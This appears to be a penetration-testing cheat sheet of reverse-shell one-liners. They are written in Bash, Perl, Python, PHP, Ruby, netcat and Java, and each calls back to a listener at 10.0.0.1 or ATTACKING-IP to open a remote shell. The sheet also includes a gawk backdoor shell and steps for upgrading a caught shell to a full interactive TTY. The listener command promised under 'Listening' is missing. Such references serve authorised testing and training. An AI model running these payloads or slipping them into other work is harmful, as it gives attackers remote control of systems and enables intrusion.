This list represent an comprehensive cheat sheet of shells and other related stuff.
Listening
To setup a listening netcat instance, enter the following:
Reverse Shells
To connect back to a listening netcat instance, enter the following:
Bash
1
| bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
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PERL
1
| perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
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PERL Windows 1
1
| perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
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Python
1
| python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
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PHP
1
| php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
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Ruby
1
| ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
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Netcat
1
| nc -e /bin/sh 10.0.0.1 1234
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Java
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| r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
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Gawk Reverse Shell
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| #!/usr/bin/gawk -f
BEGIN {
Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
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Spawning interactive reverse shells with TTY
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| # In reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
# In Attacker console
$ stty raw -echo
$ fg
# In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>
|
Sources
- https://highon.coffee/blog/reverse-shell-cheat-sheet/
- http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
- https://medium.com/@6c2e6e2e/spawning-interactive-reverse-shells-with-tty-a7e50c44940e